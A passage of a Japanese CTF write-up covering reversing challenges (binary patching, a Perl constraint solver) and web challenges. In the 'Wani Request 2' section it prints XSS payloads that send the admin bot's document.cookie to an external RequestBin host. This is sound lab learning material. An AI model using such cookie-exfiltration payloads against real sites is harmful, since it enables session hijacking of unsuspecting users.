これを文字列に変換して繋げるとflagっぽい文字列が得られ、これを送信すると正解になった。

libprint.soはノーチェックだったが、どうやら余計なことはしていなかったようだ。
問題文には

今残っているファイルだけで実行して頂けますか?

とあるが、実行するメリットは全く無さそうだったし、

reverse engineeringすれば、実行しなくても中身は分かるみたいです。

とあるが、別に中身が分からなくてもよかった。
最初からソースコードが与えられ、逆アセンブルの要求すら無かった。

solve.py
solve.py
data = [
    7941081424088616006,
    7311705455698409823,
    3560223458505028963,
    35295634984951667
]

res = ""

for e in data:
    for i in range(8):
        c = (e >> (8 * i)) & 0xff
        if 0x20 <= c and c < 0x7f:
            res += chr(c)

print(res)

FLAG{c4n_y0u_execu4e_th1s_fi1e}

timer

ELFファイルtimerが与えられた。
問題文によると、

super_complex_flag_print_function 関数でフラグを表示しているようですが、難読化されているため静的解析でフラグを特定するのは難しそうです...

とのことらしい。

GDBを使って動的解析してみるのはいかがでしょうか?

ともあるが、それには及ばないわ。

TDM-GCCのobjdumpで逆アセンブルをすると、main関数では
super_complex_flag_print_function関数の前に2個の関数を呼んでいることがわかる。
そこで、この2個の関数を呼ぶ場所をNOPで埋める。
すなわち、[0x14f7, 0x1501)のバイトをバイナリエディタで全て0x90に書き換える。
なお、このELFファイルは、ダンプ上のアドレスとファイル中の位置が一致する親切設計のようである。

00000000000014ef <main>:
    14ef:   f3 0f 1e fa             endbr64 
    14f3:   55                      push   %rbp
    14f4:   48 89 e5                mov    %rsp,%rbp
    14f7:   e8 1e ff ff ff          callq  141a <show_description>
    14fc:   e8 9c ff ff ff          callq  149d <timer>
    1501:   e8 6a fc ff ff          callq  1170 <super_complex_flag_print_function>
    1506:   b8 00 00 00 00          mov    $0x0,%eax
    150b:   5d                      pop    %rbp
    150c:   c3                      retq   
    150d:   0f 1f 00                nopl   (%rax)

書き換えたバイナリをCS50 IDEにアップロードして実行すると、flagが出力された。

FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}

licence

ELFファイルlicenceと、ダミーのテキストが入ったファイルkey.datが与えられた。

TDM-GCCのobjdumpで逆アセンブルして見ると、check関数が0を返すことが認証されることの必要条件のようである。
check関数をよく観察すると、

    137a:   48 8b 45 f8             mov    -0x8(%rbp),%rax
    137e:   48 83 c0 02             add    $0x2,%rax
    1382:   0f b6 00                movzbl (%rax),%eax
    1385:   0f be d0                movsbl %al,%edx
    1388:   48 8b 45 f8             mov    -0x8(%rbp),%rax
    138c:   48 83 c0 1c             add    $0x1c,%rax
    1390:   0f b6 00                movzbl (%rax),%eax
    1393:   0f be c0                movsbl %al,%eax
    1396:   29 c2                   sub    %eax,%edx
    1398:   89 d0                   mov    %edx,%eax
    139a:   83 f8 11                cmp    $0x11,%eax
    139d:   75 0a                   jne    13a9 <check+0x1c0>
    139f:   b8 01 00 00 00          mov    $0x1,%eax
    13a4:   e9 05 49 00 00          jmpq   5cae <check+0x4ac5>

のような形で、文字列中の2個の要素を演算し、
その結果の値によってjne命令で先に進んだり進まなかったりする構造が連続していることがわかった。
さらによく見ると、この例はjne命令で飛ぶ(値が一致しない)べきパターンだが、
飛ばない(値が一致する)べきjne命令もあることがわかった。

そこで、以下のプログラムを用い、逆アセンブル結果から

  • 飛び元(jne命令の)アドレス
  • 演算する要素1の位置
  • 演算する要素2の位置
  • 演算の種類
  • 演算結果と比較する値
  • 値が一致しないときの飛び先アドレス

を抽出した。

get_conds.pl
get_conds.pl
#!/usr/bin/perl

use strict;
use warnings;

my $first_add = "";
my $second_add = "";
my $op = "";
my $value = "";

my $prev_inst = "";

my $cnt = 1;
while (my $line = <STDIN>) {
    chomp($line);
    my @sp = split(/\t/, $line);
    if (@sp == 3) {
        my $inst = $sp[2];
        if ($inst =~ /^add    \$(.*),\%rax$/) {
            if ($first_add eq "") { $first_add = $1; }
            elsif ($second_add eq "") { $second_add = $1; }
            else { warn "many add at line $line\n"; }
        } elsif ($inst =~ /^cmp / && $prev_inst =~ /^([^ ]*) /) {
            $op = $1;
            if ($inst =~ /^cmp    \$(.*),/) { $value = $1; }
        } elsif ($inst =~ /^jne    ([^ ]+) /) {
            my $addr_to = $1;
            my $addr = "";
            if ($sp[0] =~ /^ *([^ ]*):$/) { $addr = $1; }
            if ($second_add eq "") {
                warn "insufficient add at line $cnt addr $addr\n";
            }
            if ($op eq "" || $value eq "") {
                warn "cmp not found at line $cnt addr $addr\n";
            }
            print "$addr\t$first_add\t$second_add\t$op\t$value\t$addr_to\n";
            $first_add = "";
            $second_add = "";
            $op = "";
            $value = "";
        }
        if ($inst !~ /^mov/) { $prev_inst = $inst; }
    }
    $cnt++;
}

このプログラムは特殊なパターン、例えば

  • 演算をする要素の位置が0なので、add命令が入っていない
  • 演算をしてからcmp命令を使うのではなく、要素の値をcmp命令で直接比較している
  • 2個の要素を演算するのではなく、1個の要素と即値を比較している

というパターンに対応できないため、出力された警告を見ながら手動で補った。
その結果が以下である。

conds-hosei.txt
conds-hosei.txt
120b    0   0xb xor 0x7e    1217
1236    0   0x2d    add 0x80    1242
1261    0   0x1c    sub 0x18    126d
1276    0   0   or  0x46    5c35
129f    0x1 0xd sub 0x1a    12ab
12ce    0x1 0x12    sub 0x21    12da
12f4    0x1 0x11    xor 0x34    1300
131f    0x1 0   sub 0x6 5baa
1348    0x2 0x9 sub 0xffffffe4  1354
136e    0x2 0x24    xor 0x72    137a
139d    0x2 0x1c    sub 0x11    13a9
13c3    0x2 0x1 xor 0xd 5b42
13ec    0x3 0x2b    add 0xc2    13f8
141b    0x3 0x11    sub 0xffffffd8  1427
144a    0x3 0x18    sub 0x1a    1456
1470    0x3 0x2 xor 0x6 5aab
1499    0x4 0x2a    sub 0x1a    14a5
14bf    0x4 0x16    xor 0x49    14cb
14ee    0x4 0x3 add 0xc6    14fa
1514    0x4 0x3 xor 0x3c    5a26
153b    0x5 0x7 add 0x6c    1547
155d    0x5 0   xor 0x7a    1569
1581    0x5 0x3b    xor 0   158d
15a7    0x5 0x4 xor 0x4f    59a1
15c7    0x6 0x1c    xor 0x5c    15d3
15f6    0x6 0x1b    sub 0x3 1602
161c    0x6 0x5 xor 0x5a    5913
1645    0x7 0x1 sub 0xffffffee  1651
1674    0x7 0x1f    add 0xb0    1680
169a    0x7 0x13    xor 0x41    16a6
16c9    0x7 0x6 sub 0xffffffc8  588b
16f2    0x8 0x20    sub 0x6 16fe
1718    0x8 0x32    xor 0xa 1724
1747    0x8 0xa sub 0x4b    1753
176d    0x8 0x7 xor 0x44    57f4
178d    0x9 0x24    xor 0x67    1799
17bc    0x9 0x36    add 0x9b    17c8
17e2    0x9 0xf xor 0x68    17ee
1811    0x9 0x8 sub 0xffffffed  5766
183a    0xa 0x2 sub 0xfffffff9  1846
1867    0xa 0x22    add 0x6b    1873
188d    0xa 0x9 xor 0x6e    56e1
18b0    0xb 0   add 0x7e    18bc
18df    0xb 0x32    sub 0xffffffc9  18eb
190e    0xb 0x23    add 0xa2    191a
193b    0xb 0xa add 0x66    564a
195b    0xc 0x39    xor 0x3c    1967
198a    0xc 0x17    add 0xda    1996
19b9    0xc 0xb add 0x94    55b3
19d9    0xd 0x27    xor 0x2 19e5
19ff    0xd 0x2c    xor 0xc 1a0b
1a2c    0xd 0x3b    add 0x6c    1a38
1a5b    0xd 0xc sub 0xffffffd5  5525
1a84    0xe 0xf sub 0x2f    1a90
1ab3    0xe 0x3b    sub 0x33    1abf
1ad9    0xe 0x2d    xor 0x64    1ae5
1aff    0xe 0xd xor 0x6b    548e
1b1f    0xf 0x31    xor 0x2 1b2b
1b45    0xf 0x27    xor 0xd 1b51
1b6b    0xf 0x2f    xor 0x41    1b77
1b91    0xf 0xe xor 0x6a    53f9
1bba    0x10    0x26    add 0xda    1bc6
1be9    0x10    0x20    add 0xe7    1bf5
1c18    0x10    0x3b    add 0xa6    1c24
1c3e    0x10    0xf xor 0x40    5362
1c5e    0x11    0xb xor 0x4d    1c6a
1c8d    0x11    0x13    sub 0xffffffff  1c99
1cbc    0x11    0x3c    add 0xa2    1cc8
1ceb    0x11    0x10    add 0xe5    52cb
1d0b    0x12    0x36    xor 0x5 1d17
1d3a    0x12    0x4 sub 0xffffffc0  1d46
1d60    0x12    0x9 xor 0x57    1d6c
1d8f    0x12    0x11    sub 0xffffffc3  523f
1db8    0x13    0x38    add 0xb1    1dc4
1dde    0x13    0x6 xor 0x1d    1dea
1e0d    0x13    0xb add 0xa8    1e19
1e33    0x13    0x12    xor 0x41    51b1
1e5c    0x14    0x2 sub 0x20    1e68
1e8b    0x14    0x18    add 0x9b    1e97
1eb1    0x14    0x2a    xor 0x33    1ebd
1ed7    0x14    0x13    xor 0x2d    5123
1f00    0x15    0x9 sub 0x17    1f0c
1f2f    0x15    0x17    add 0xec    1f3b
1f5e    0x15    0x2f    sub 0x8 1f6a
1f84    0x15    0x14    xor 0x2f    508c
1fab    0x16    0x33    add 0x6c    1fb7
1fd8    0x16    0x3 add 0x79    1fe4
1ffe    0x16    0x15    xor 0x40    4ff7
2027    0x17    0x2e    add 0xaf    2033
2056    0x17    0x2b    add 0xed    2062
2085    0x17    0x11    sub 0x11    2091
20b4    0x17    0x16    add 0xa7    4f98
20db    0x18    0x37    add 0x6d    20e7
2101    0x18    0x3e    xor 0x4d    210d
2130    0x18    0x2c    sub 0x1 213c
2156    0x18    0x17    xor 0x44    4f13
217f    0x19    0x35    sub 0xfffffffa  218b
21a5    0x19    0x5 xor 0x4f    21b1
21d4    0x19    0x22    add 0xa6    21e0
2203    0x19    0x18    add 0xa5    4e97
2228    0x1a    0   sub 0x27    2234
2257    0x1a    0xe sub 0x8 2263
2286    0x1a    0x19    sub 0xfffffff4  4e09
22af    0x1b    0x33    add 0xaf    22bb
22de    0x1b    0x21    add 0xe0    22ea
2304    0x1b    0x1d    xor 0x15    2310
2333    0x1b    0x1a    add 0xdb    4d72
235c    0x1c    0x20    add 0xa1    2368
238b    0x1c    0x35    sub 0xffffffbb  2397
23b1    0x1c    0x14    xor 0x55    23bd
23e0    0x1c    0x1b    add 0xa6    4cef
2400    0x1d    0x32    xor 0x2f    240c
242f    0x1d    0x34    sub 0xfffffffc  243b
2455    0x1d    0x8 xor 0x25    2461
2484    0x1d    0x1c    add 0x90    4c61
24a4    0x1e    0x27    xor 0xf 24b0
24ca    0x1e    0x2 xor 0x71    24d6
24f0    0x1e    0x23    xor 0x58    24fc
251f    0x1e    0x1d    sub 0xffffffd6  4bd5
253f    0x1f    0x14    xor 0x1d    254b
256e    0x1f    0x37    add 0xac    257a
259d    0x1f    0x20    sub 0x15    25a9
25cc    0x1f    0x1e    sub 0x44    4b47
25f5    0x20    0x37    add 0xa1    2601
261b    0x20    0x3a    xor 0x55    2627
264a    0x20    0x8 add 0xe6    2656
2679    0x20    0x1f    sub 0xfffffff4  4ac2
26a2    0x21    0x29    sub 0x36    26ae
26d1    0x21    0x11    add 0xd9    26dd
26fc    0x21    0   sub 0x23    2708
272b    0x21    0x20    sub 0xfffffff5  4a2b
2754    0x22    0x30    sub 0xffffffd6  2760
2783    0x22    0x6 sub 0xffffffc9  278f
27b2    0x22    0x16    sub 0x5 27be
27e1    0x22    0x21    add 0x92    49a6
2801    0x23    0x3d    xor 0x1d    280d
2830    0x23    0x19    add 0xe5    283c
285f    0x23    0x2b    add 0xea    286b
288e    0x23    0x22    sub 0x3c    4921
28ae    0x24    0x18    xor 0xa 28ba
28dd    0x24    0x1a    add 0x9e    28e9
2903    0x24    0xc xor 0x54    290f
2932    0x24    0x23    sub 0xffffffc5  488a
2952    0x25    0x28    xor 0x1f    295e
2981    0x25    0x23    sub 0xfffffff8  298d
29a7    0x25    0x13    xor 0x16    29b3
29d6    0x25    0x24    sub 0x32    4851
29ff    0x26    0x18    add 0x99    2a0b
2a2e    0x26    0x12    add 0x93    2a3a
2a5d    0x26    0x13    add 0xd2    2a69
2a83    0x26    0x25    xor 0x3c    47ba
2aa3    0x27    0x21    xor 0x5a    2aaf
2ac9    0x27    0x3c    xor 0x2 2ad5
2af8    0x27    0x23    sub 0xffffffd0  2b04
2b27    0x27    0x26    add 0x92    472c
2b50    0x28    0x3c    add 0xaf    2b5c
2b7f    0x28    0x2f    add 0xef    2b8b
2bae    0x28    0x3e    sub 0x2 2bba
2bd4    0x28    0x27    xor 0x4b    46b0
2bf4    0x29    0x1e    xor 0xf 2c00
2c21    0x29    0x3b    add 0x65    2c2d
2c4e    0x29    0x2e    add 0x6d    2c5a
2c7d    0x29    0x28    add 0xab    461d
2ca6    0x2a    0x28    add 0xde    2cb2
2cd5    0x2a    0x2e    sub 0x3c    2ce1
2d04    0x2a    0xd sub 0x38    2d10
2d2a    0x2a    0x29    xor 0x50    4598
2d4a    0x2b    0x30    xor 0x1c    2d56
2d70    0x2b    0x4 xor 0x8 2d7c
2d9f    0x2b    0x30    sub 0x1a    2dab
2dce    0x2b    0x2a    sub 0x12    4501
2df7    0x2c    0x1b    sub 0xffffffc9  2e03
2e24    0x2c    0x31    add 0x73    2e30
2e53    0x2c    0x1f    add 0xb2    2e5f
2e79    0x2c    0x2b    xor 0x42    447c
2ea2    0x2d    0xa sub 0x4 2eae
2ed1    0x2d    0x2b    sub 0xffffffbe  2edd
2efe    0x2d    0x3f    add 0x3d    2f0a
2f24    0x2d    0x2c    xor 0x6 43ee
2f4b    0x2e    0x16    add 0x67    2f57
2f71    0x2e    0x2d    xor 0x1 436b
2f91    0x2f    0x31    xor 0x56    2f9d
2fc0    0x2f    0x5 sub 0x44    2fcc
2fef    0x2f    0x2b    add 0xed    2ffb
301e    0x2f    0x2e    add 0x9e    430c
303e    0x30    0x23    xor 0x30    304a
306d    0x30    0xb add 0x9b    3079
3093    0x30    0x2f    xor 0x31    4275
30bc    0x31    0x17    add 0xb2    30c8
30eb    0x31    0x13    add 0xa7    30f7
311a    0x31    0x1c    sub 0x6 3126
3140    0x31    0x30    xor 0x6b    41e9
3169    0x32    0x9 add 0xce    3175
3198    0x32    0x8 sub 0x4 31a4
31c7    0x32    0x16    sub 0x48    31d3
31f6    0x32    0x31    sub 0x3a    415b
3216    0x33    0x3c    xor 0xd 3222
323c    0x33    0x11    xor 0x42    3248
3262    0x33    0xc xor 0x55    326e
3291    0x33    0x32    sub 0xffffffc6  40fc
32ba    0x34    0x1c    add 0xa4    32c6
32e9    0x34    0xb sub 0x39    32f5
330f    0x34    0x2d    xor 0x5f    331b
333e    0x34    0x33    add 0xa0    4065
3367    0x35    0x13    sub 0x11    3373
338d    0x35    0x14    xor 0x1a    3399
33bc    0x35    0x1b    sub 0x6 33c8
33eb    0x35    0x34    sub 0xd 3fce
3409    0x36    0x5 xor 0   3415
342f    0x36    0x12    xor 0x2 343b
3455    0x36    0x35    xor 0x4c    3f4b
347c    0x37    0x3c    add 0x6a    3488
34a9    0x37    0x27    add 0x6e    34b5
34d8    0x37    0x4 sub 0xffffffba  34e4
3507    0x37    0x36    sub 0xfffffffc  3ebd
3530    0x38    0x33    sub 0xb 353c
3556    0x38    0x2 xor 0x7d    3562
3585    0x38    0x2e    sub 0x8 3591
35b2    0x38    0x37    add 0x66    3e2f
35d2    0x39    0x2f    xor 0x27    35de
3601    0x39    0x3c    sub 0x36    360d
3630    0x39    0x34    add 0xd3    363c
365f    0x39    0x38    add 0x94    3da1
367f    0x3a    0x12    xor 0xa 368b
36ae    0x3a    0x9 sub 0xffffffda  36ba
36dd    0x3a    0x11    add 0xa9    36e9
370c    0x3a    0x39    sub 0xffffffd8  3d15
3735    0x3b    0x2a    sub 0xffffffd7  3741
3762    0x3b    0x3c    add 0x66    376e
3788    0x3b    0x2f    xor 0x48    3794
37b7    0x3b    0x3a    sub 0xfffffff9  3c99
37d7    0x3c    0x11    xor 0x4a    37e3
3804    0x3c    0x33    add 0x65    3810
382a    0x3c    0xe xor 0x59    3836
384e    0x3c    0x3b    xor 0   3c02
3877    0x3d    0x3f    sub 0x6a    3883
38a6    0x3d    0x1a    add 0xd6    38b2
38cc    0x3d    0x15    xor 0x19    38d8
38fb    0x3d    0x3c    add 0x9c    3b7d
3924    0x3e    0x5 sub 0x50    3930
3953    0x3e    0x19    add 0xf7    395f
3982    0x3e    0x31    add 0xba    398e
39b1    0x3e    0x3d    sub 0x11    3af8
39d1    0x3f    0x2b    xor 0x75    39dd
3a00    0x3f    0x10    add 0x85    3a0c
3a2f    0x3f    0x6 add 0x80    3a3b
3a5e    0x3f    0x3e    add 0x87    3a6a
3a8d    0x3f    0x9 sub 0xffffffb1  3a99
3ab3    0x3f    0x21    xor 0x6e    3abf
3ae2    0x3f    0x26    sub 0xffffffae  3aee
3b12    0x3e    0x13    xor 0x6 3b1e
3b38    0x3e    0x36    xor 0x4a    3b44
3b67    0x3e    0x3b    add 0xb1    3b73
3ba0    0x3d    0xe sub 0x16    3bac
3bc6    0x3d    0x35    xor 0x13    3bd2
3bec    0x3d    0x36    xor 0x52    3bf8
3c25    0x3c    0x1b    add 0xa9    3c31
3c54    0x3c    0x3b    sub 0x5 3c60
3c83    0x3c    0x34    sub 0xffffffc9  3c8f
3cb3    0x3b    0x7 xor 0xb 3cbf
3cd9    0x3b    0x1 xor 0x64    3ce5
3cff    0x3b    0x2c    xor 0xf 3d0b
3d36    0x3a    0x29    add 0x70    3d42
3d65    0x3a    0x15    sub 0xffffffd1  3d71
3d8b    0x3a    0x32    xor 0x45    3d97
3dbb    0x39    0x25    xor 0x33    3dc7
3dea    0x39    0x30    add 0xc6    3df6
3e19    0x39    0x38    add 0x9e    3e25
3e52    0x38    0x20    add 0xa3    3e5e
3e78    0x38    0x6 xor 0x40    3e84
3ea7    0x38    0x26    add 0x9b    3eb3
3ee0    0x37    0x2c    sub 0x1 3eec
3f0f    0x37    0xc add 0x94    3f1b
3f35    0x37    0x29    xor 0xd 3f41
3f65    0x36    0x35    xor 0x4e    3f71
3f94    0x36    0x22    sub 0xd 3fa0
3fb8    0x36    0x3a    xor 0   3fc4
3ff1    0x35    0xe sub 0x1d    3ffd
4020    0x35    0x1e    add 0xb4    402c
404f    0x35    0xb sub 0x49    405b
4088    0x34    0x26    add 0xcd    4094
40b7    0x34    0x37    add 0xa3    40c3
40e6    0x34    0x1b    add 0xe6    40f2
4116    0x33    0x1 xor 0x60    4122
4145    0x33    0x20    sub 0xffffffce  4151
417e    0x32    0xb sub 0x3d    418a
41ad    0x32    0x3 add 0xba    41b9
41d3    0x32    0x28    xor 0x11    41df
4203    0x31    0xa xor 0xe 420f
4232    0x31    0x23    add 0xa2    423e
425f    0x31    0x7 add 0x6d    426b
4298    0x30    0x2d    add 0x99    42a4
42c7    0x30    0x31    add 0x98    42d3
42f6    0x30    0x13    add 0xd8    4302
432f    0x2f    0x26    add 0xd1    433b
4355    0x2f    0x9 xor 0xd 4361
4385    0x2e    0x20    xor 0x40    4391
43b2    0x2e    0xd add 0x6c    43be
43d8    0x2e    0x2f    xor 0x45    43e4
4408    0x2d    0x1a    xor 0x5e    4414
4437    0x2d    0x1d    add 0x95    4443
4466    0x2d    0x3a    sub 0x1 4472
4496    0x2c    0xe xor 0x50    44a2
44bc    0x2c    0x16    xor 0x5 44c8
44eb    0x2c    0x30    add 0x9d    44f7
4524    0x2b    0x37    add 0xac    4530
4553    0x2b    0x11    add 0xed    455f
4582    0x2b    0x2d    sub 0x4d    458e
45b2    0x2a    0x2 xor 0x2b    45be
45d8    0x2a    0x3f    xor 0x6e    45e4
4607    0x2a    0x27    sub 0x36    4613
463e    0x29    0x38    add 0x6c    464a
466b    0x29    0x27    add 0x69    4677
469a    0x29    0x10    sub 0xffffffc3  46a6
46ca    0x28    0x2e    xor 0x4d    46d6
46f0    0x28    0x37    xor 0x43    46fc
4716    0x28    0x12    xor 0x42    4722
4746    0x27    0x12    xor 0xb 4752
4775    0x27    0x34    add 0xa7    4781
47a4    0x27    0x2a    add 0x98    47b0
47dd    0x26    0x22    sub 0x38    47e9
480c    0x26    0x1f    sub 0xffffffe7  4818
483b    0x26    0x2b    sub 0xffffffec  4847
4874    0x25    0x6 add 0xd9    4880
48ad    0x24    0x15    add 0xa2    48b9
48dc    0x24    0x1a    sub 0xffffffd2  48e8
490b    0x24    0x9 add 0x9a    4917
493b    0x23    0x2b    xor 0x17    4947
4961    0x23    0x36    xor 0x50    496d
4990    0x23    0x30    sub 0x17    499c
49c9    0x22    0x30    sub 0xffffffda  49d5
49ef    0x22    0x3b    xor 0x3 49fb
4a15    0x22    0x19    xor 0x48    4a21
4a4e    0x21    0x11    add 0xdc    4a5a
4a7d    0x21    0x15    add 0xd7    4a89
4aac    0x21    0x17    add 0xe0    4ab8
4adc    0x20    0x31    xor 0x53    4ae8
4b0b    0x20    0x17    add 0xea    4b17
4b31    0x20    0xd xor 0x55    4b3d
4b61    0x1f    0x32    xor 0xe 4b6d
4b90    0x1f    0x28    add 0xf8    4b9c
4bbf    0x1f    0x21    add 0xe1    4bcb
4bf6    0x1e    0x27    add 0x69    4c02
4c1c    0x1e    0x8 xor 0x40    4c28
4c4b    0x1e    0x25    sub 0xffffffd7  4c57
4c7b    0x1d    0x15    xor 0x29    4c87
4caa    0x1d    0x23    add 0xd4    4cb6
4cd9    0x1d    0xb sub 0x31    4ce5
4d09    0x1c    0x16    xor 0x8 4d15
4d2f    0x1c    0x16    xor 0x9 4d3b
4d5c    0x1c    0x2c    add 0x71    4d68
4d95    0x1b    0x3d    sub 0xe 4da1
4dc4    0x1b    0x2 add 0xbf    4dd0
4df3    0x1b    0x3e    add 0xfc    4dff
4e23    0x1a    0x3c    xor 0x53    4e2f
4e52    0x1a    0x33    sub 0x34    4e5e
4e81    0x1a    0x24    sub 0x37    4e8d
4eb1    0x19    0x1 xor 0x23    4ebd
4ed7    0x19    0x4 xor 0xc 4ee3
4efd    0x19    0x1f    xor 0x9 4f09
4f2d    0x18    0x7 xor 0x9 4f39
4f53    0x18    0x12    xor 0x4 4f5f
4f82    0x18    0x14    sub 0xffffffd5  4f8e
4fbb    0x17    0x1d    sub 0x22    4fc7
4fe1    0x17    0x25    xor 0x1e    4fed
501a    0x16    0x11    add 0xa5    5026
5047    0x16    0x31    add 0x65    5053
5076    0x16    0x17    add 0xad    5082
50af    0x15    0x12    sub 0x44    50bb
50de    0x15    0x1e    add 0xad    50ea
510d    0x15    0x1d    sub 0x12    5119
5146    0x14    0x1e    sub 0x34    5152
5175    0x14    0x9 add 0xbf    5181
519b    0x14    0x2d    xor 0x6a    51a7
51d4    0x13    0x5 sub 0x42    51e0
5203    0x13    0x1c    sub 0x48    520f
5229    0x13    0xf xor 0x4a    5235
5259    0x12    0x6 xor 0x5c    5265
5288    0x12    0x23    sub 0xffffffcf  5294
52b5    0x12    0xd add 0x6e    52c1
52ee    0x11    0x3c    sub 0x41    52fa
531d    0x11    0x7 sub 0x3f    5329
534c    0x11    0x17    add 0xea    5358
5385    0x10    0x1 add 0xc5    5391
53b4    0x10    0x15    add 0xeb    53c0
53e3    0x10    0x1e    sub 0x41    53ef
541a    0xf 0x29    add 0x69    5426
5449    0xf 0x17    add 0xb5    5455
5478    0xf 0x33    sub 0x3 5484
54b1    0xe 0x31    sub 0x34    54bd
54e0    0xe 0x3d    add 0xcc    54ec
550f    0xe 0x17    add 0xd8    551b
553f    0xd 0x3a    xor 0xd 554b
556e    0xd 0x32    sub 0xffffffc9  557a
559d    0xd 0x23    sub 0xffffffc9  55a9
55d6    0xc 0x32    add 0xcf    55e2
5605    0xc 0x27    add 0x95    5611
5634    0xc 0xe sub 0x4 5640
566d    0xb 0x23    sub 0xffffffd3  5679
569c    0xb 0x16    sub 0xa 56a8
56cb    0xb 0x15    sub 0xffffffce  56d7
5704    0xa 0x3d    sub 0xffffffcd  5710
572a    0xa 0x31    xor 0xc 5736
5750    0xa 0x21    xor 0x5a    575c
5789    0x9 0xb sub 0x32    5795
57af    0x9 0x1a    xor 0x33    57bb
57de    0x9 0x2b    sub 0xffffffed  57ea
5817    0x8 0x35    add 0xf4    5823
5846    0x8 0x3f    add 0x86    5852
5875    0x8 0x2a    sub 0x15    5881
58ac    0x7 0xb add 0x6e    58b8
58d9    0x7 0x5 add 0x72    58e5
58fd    0x7 0x3b    xor 0   5909
592d    0x6 0x38    xor 0x58    5939
595c    0x6 0x2a    sub 0x11    5968
598b    0x6 0x10    add 0xeb    5997
59bb    0x5 0x1c    xor 0xf 59c7
59ea    0x5 0x17    sub 0xffffffbf  59f6
5a10    0x5 0x1c    xor 0xe 5a1c
5a40    0x4 0x2a    xor 0x11    5a4c
5a66    0x4 0x18    xor 0x41    5a72
5a95    0x4 0x5 sub 0x4f    5aa1
5ace    0x3 0xc add 0xab    5ada
5afd    0x3 0x11    sub 0xffffffda  5b09
5b2c    0x3 0x1d    sub 0xffffffef  5b38
5b65    0x2 0x32    add 0xb8    5b71
5b94    0x2 0x6 add 0xb7    5ba0
5bc4    0x1 0xd xor 0x74    5bd0
5bf3    0x1 0x1c    sub 0x1d    5bff
5c22    0x1 0xa sub 0x1f    5c2e
5c52    0   0x36    add 0x7d    5c5b
5c78    0   0x37    add 0x7a    5c81
5ca0    0   0x10    add 0xc3    5ca9

これに基づき、

  • それぞれのjne命令で飛ぶべきかどうかは、飛び元と飛び先の距離に基づいて簡易判定を行う
  • 「0を返す」命令がある0x3a60以降の条件は無視する
    (死を回避しながらこの命令まで一直線に実行が進めばよさそうなので)
  • 前から1文字ずつ決定し、決定している文字についての条件のみチェックする

というプログラムを用いることで、flagを求めることができた。

solve.pl
solve.pl
#!/usr/bin/perl

use strict;
use warnings;

my @conds = ();

sub int2 {
    my $num = $_[0];
    if (substr($num, 0, 2) eq "0x") {
        return hex(substr($num, 2));
    } else {
        return int($num);
    }
}

while (my $line = <STDIN>) {
    chomp($line);
    my @data = split(/\t/, $line);
    if (@data >= 6) {
        my $addr = hex($data[0]);
        my $a = &int2($data[1]);
        my $b = &int2($data[2]);
        my $c = $data[3];
        my $d = &int2($data[4]);
        my $addr_to = hex($data[5]);
        if ($d >= 0x100) {
            $d = -((~$d + 1) & 0xff);
        }
        if ($addr <= 0x3a60) {
            my $obey = ($addr_to == $addr + 12 ? 0 : 1);
            push(@conds, "$a\t$b\t$c\t$d\t$obey");
        }
    }
}

my $ans ="";

for (my $i = 0; $i <= 0x3f; $i++) {
    my $found = 0;
    my $hit = -1;
    for (my $j = 0; $j < 0x80; $j++) {
        my $candidate = $ans . chr($j);
        my $ok = 1;
        for (my $k = 0; $k < @conds; $k++) {
            my ($a, $b, $c, $d, $e) = split(/\t/, $conds[$k]);
            if ($a <= $i && $b <= $i) {
                my $aa = ord(substr($candidate, $a, 1));
                my $bb = ord(substr($candidate, $b, 1));
                my $res = 0xdeadbeef;
                if ($c eq "add") { $res = $aa + $bb; }
                elsif ($c eq "xor") { $res = $aa ^ $bb; }
                elsif ($c eq "sub") { $res = $aa - $bb; }
                elsif ($c eq "or") { $res = $aa | $bb; }
                else { die "unknown op: $c\n"; }
                if ($e ? $res != $d : $res == $d) {
                    $ok = 0;
                    last;
                }
            }
        }
        if ($ok) {
            print "$i -> $j\n";
            $hit = $j;
            $found++;
        }
    }
    if ($found == 0) {
        print "no hit!\n";
        print "$ans\n";
        exit 1;
    } elsif ($found > 1) {
        print "multiple hit!\n";
        print "$ans\n";
        exit 1;
    }
    $ans .= chr($hit);
}

print "$ans\n";

FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}

Web

fake

ボタンのようなものが大量にあるWebページへのリンクが与えられた。

ページのソースを表示すると、aタグが1個あったので、リンク先に行くとflagが書かれていた。

FLAG{wow_y0u_h4ve_3po4ted_th3_7ake}

Wani Request 1

RequestBinを使ってみよう!!

とのことである。
書かれている通り、指定のWebページにRequestBinのリクエスト送信用URLを入れて送信すると、
リクエストが来て、RefererにURLが書かれている。
そのURLからパラメータを外してWebブラウザでアクセスすると、flagが表示された。

FLAG{h77p_r3f3r3r_15_54f3_42a2cc2f275}

exception

WebページのURLと、そこで動いていると考えられるPythonのソースコードhello.pyが与えられた。

hello.pyを見ると、入力のデータと文字列を+演算子で結合しているため、
数値を入力できれば例外を発生させることができ、それによってflagが出力される可能性がある。

Webページのフォームに100と入力して送信し、Firefoxの開発者ツールでリクエストを見ると、要求ペイロードとして

{"name":"100"}

を送信していた。そこで、これを

{"name":100}

に「編集して再送信」することで、flagを得ることができた。

FLAG{b4d_excep7ion_handl1ng}

Wani Request 2

WebページのURLと、
そこで動いているプログラムのソースコードと考えられるPage1.vueおよびPage2.vueが与えられた。
Page1とPage2の両方から「あどみんちゃんのクッキー」を得ればよいようである。

Page1は、URL中のパラメータの内容がHTMLにノーガードで埋め込まれ、
「あどみんちゃん」にアクセスしてもらうURLのパラメータを入力できる。

<img+src%3D"x"+id%3D"nyan"><img+src%3D"x"+onerror%3D"document.getElementById('nyan').src%3D'https%3A%2F%2F*************.x.pipedream.net%2F%3F'%2Bdocument.cookie%3B">

を入力して送信することで、RequestBinにクッキーの内容が入ったリクエストをもらうことができた。
ただし、*************にはRequestBinのリクエスト用URLの残りの部分が入る。

Page2は、「あどみんちゃん」にクリックしてもらうURLを指定できる。
ここでPage1のURLを指定しても、うまくいかなかった。
「URL」としか言っておらず、プロトコルは指定されていないことに注目し、

javascript:document.write("<img src='https://*************.x.pipedream.net/?"+document.cookie+"'>");

を入力して送信することで、RequestBinにクッキーの内容が入ったリクエストをもらうことができた。
ただし、*************にはRequestBinのリクエスト用URLの残りの部分が入る。

得られたクッキーの内容を合わせることで、flagが得られた。

FLAG{y0u_4r3_x55-60d_c75a4c80cf07}

CloudFront Basic Auth

問題exceptionのものに似たWebページのURLと、そこで動いていると考えられるPythonのソースコードhello.py
さらにテキストファイルtemplate.yamlが与えられた。

template.yamlを読むと、

